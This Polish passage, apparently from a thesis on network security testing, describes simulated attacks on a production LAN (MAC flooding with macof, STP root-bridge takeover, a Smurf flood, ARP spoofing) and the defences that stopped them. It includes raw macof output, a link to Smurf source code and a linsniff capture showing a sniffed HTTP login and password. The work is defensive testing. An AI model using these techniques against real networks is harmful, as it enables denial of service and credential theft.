Założenia wstępne:
Testowanie zabezpieczeń skonstruowanej sieci opiera się na badaniu parametrów technicznych łącz lokalnych oraz statystyk z urządzeń L2, L3 i serwera. Sieć wykorzystana w projekcie jest częścią realnie działającej sieci produkcyjnej. Jej zabezpieczenie odzwierciedla realny stan. W przypadku przeprowadzania na nią ataków, autor pracy zobowiązał się do niespowodowania szkód wynikających ze swoich działań i przeprowadzi ataki w taki sposób, że mają tylko zasymulować rzeczywistą próbę uszkodzenia systemu. Rozumie się przez to ciągły monitoring podczas prób i reakcję w razie wykrycia zbyt dużego odchylenia od normy w działaniu sieci.
Przeprowadzone zostaną ataki:
- próba podszycia się na przełączniku atakiem MAC Spoofing
- próba przejęcia przełącznika głównego w protokole STP
- próba ograniczenia dostępności atakiem Smurf
- próba podsłuchania hasła atakiem ARP Spoofing+IP source-routing+Socjotechnika
System jest monitorowany za pomocą:
- Lstat – dla ataków na dostępność
- Syslog – dla ataków wewnętrznych i zbliżeniowych
- SDEE z poziomu SDM dla sensora IPS
Ad. a. MAC Spoofing:
Do przeprowadzenia ataku MAC Spoofing wykorzystano program MACoffset z pakietu DSniff-2.3.
ATAK:
[root@ozimska ~dsniff-2.3]# ./macof 101.59.29.36 -> 60.171.137.91 TCP D=55934 S=322 Syn Seq=1210303300 Len=0 Win=512 145.123.46.9 -> 57.11.96.103 TCP D=44686 S=42409 Syn Seq=1106243396 Len=0 Win=52 109.40.136.24 -> 51.158.227.98 TCP D=59038 S=21289 Syn Seq=2039821840 Len=0 Win2 126.121.183.80 -> 151.241.231.59 TCP D=7519 S=34044 Syn Seq=310542747 Len=0 Win2 211.28.168.72 -> 91.247.223.23 TCP D=62807 S=53618 Syn Seq=2084851907 Len=0 Win2 183.159.196.56 -> 133.10.138.87 TCP D=23929 S=51034 Syn Seq=1263121444 Len=0 Wi2 19.113.88.77 -> 16.189.146.61 TCP D=1478 S=56820 Syn Seq=609596358 Len=0 Win=512 237.162.172.114 -> 51.32.8.36 TCP D=38433 S=31784 Syn Seq=410116516 Len=0 Win2 118.34.90.6 -> 61.169.58.50 TCP D=42232 S=31424 Syn Seq=1070019027 Len=0 Win=52 46.205.246.13 -> 72.165.185.7 TCP D=56224 S=34492 Syn Seq=937536798 Len=0 Win=52 105.109.246.116 -> 252.233.209.72 TCP D=23840 S=45783 Syn Seq=1072699351 Len=0 2 60.244.56.84 -> 142.93.179.59 TCP D=3453 S=4112 Syn Seq=1964543236 Len=0 Win=512 151.126.212.86 -> 106.205.161.66 TCP D=12959 S=42911 Syn Seq=1028677526 Len=0 W2 9.121.248.84 -> 199.35.30.115 TCP D=33377 S=31735 Syn Seq=1395858847 Len=0 Win=2 226.216.132.20 -> 189.89.89.110 TCP D=26975 S=57485 Syn Seq=1783586857 Len=0 Wi2 124.54.134.104 -> 235.83.143.109 TCP D=23135 S=55908 Syn Seq=852982595 Len=0 Wi2 27.54.72.62 -> 207.73.65.108 TCP D=54512 S=25534 Syn Seq=1571701185 Len=0 Win=2 246.109.199.72 -> 1.131.122.89 TCP D=61311 S=43891 Syn Seq=1443011876 Len=0 Win2 251.49.6.89 -> 18.168.34.97 TCP D=25959 S=956 Syn Seq=6153014 Len=0 Win=512 51.105.154.55 -> 225.89.20.119 TCP D=33931 S=1893 Syn Seq=116924142 Len=0 Win=52 82.2.236.125 -> 210.40.246.122 TCP D=43954 S=49355 Syn Seq=1263650806 Len=0 Win2 21.221.14.15 -> 9.240.58.59 TCP D=61408 S=26921 Syn Seq=464123137 Len=0 Win=512 70.63.102.43 -> 69.88.108.26 TCP D=61968 S=53055 Syn Seq=682544782 Len=0 Win=512
REAKCJA:
![]()
Rys. 5.1. Ochrona na atak rozpowszechnianie MAC Spoofing. (Źródło: Opracowanie własne.)
Ad. b. Ataki zbliżeniowe na protokół STP
- Atak na BPDU przełącznika głównego polega na wpięciu nowego przełącznika do portu stacji roboczej.
REAKCJA:
![]()
Rys. 5.2. Ochrona na atak na przejęcie roli przełącznika głównego. (Źródło: Opracowanie własne.)
- Atak na priorytet przełącznika głównego polega na wpięciu nowego przełącznika między dwa inne działające w sieci.
REAKCJA:
![]()
Rys. 5.3. Ochrona na atak przejęcie roli przełącznika głównego. (Źródło: Opracowanie własne.)
Ad. c. Atak Smurf
Atak na ograniczenie dostępności o nazwie Smurf można zrealizować samemu, lub poprzez skompilowany program w języku C, którego kod do własnej kompilacji można znaleźć pod adresem: http://www.rs-labs.com/papers/tacticas/ircutils/smurf.html
ATAK:
![]()
Rys. 5.4. Przykład konfiguracji do ataku Smurf. (Źródło: http://www.ixiacom.com/.)
REAKCJA:
![]()
Rys. 5.5. Reakcja systemu na lawinę pakietów ICMP oraz ich sposób ograniczenia. (Źródło: Opracowanie własne.)
Ad. d. Atak ARP Spoofing
Z poziomu serwera atak ARP Spoofing powiedzie się zawsze, gdyż serwer kontroluje całym ruchem sieciowym.
ATAK:
[root@ozimska ~linsniff]# ./linsniff -c linsniff: listening on eth0 ----------------- 06/03/09 10:09:48 tcp 192.168.8.4.1126 -> wwwin-apps.interia.pl.80 (http) GET /SERVICE/Paging/page/ HTTP/1.1 Host: wwwin-apps.interia.pl Authorization: testownik c2Nvdlgh39UNMRH4lejDmaA== [sconvery:mojehaslo]
REAKCJA:
Jednakże próbując odpalić aplikację linsniff na stacji roboczej będącej między źródłem, a celem wynik skanowania nie zwraca żadnych wartości, gdyż aplikacja linsniff nie potrafi podmienić pakietów GARP, które zostały wyłączone.

JakiLinux

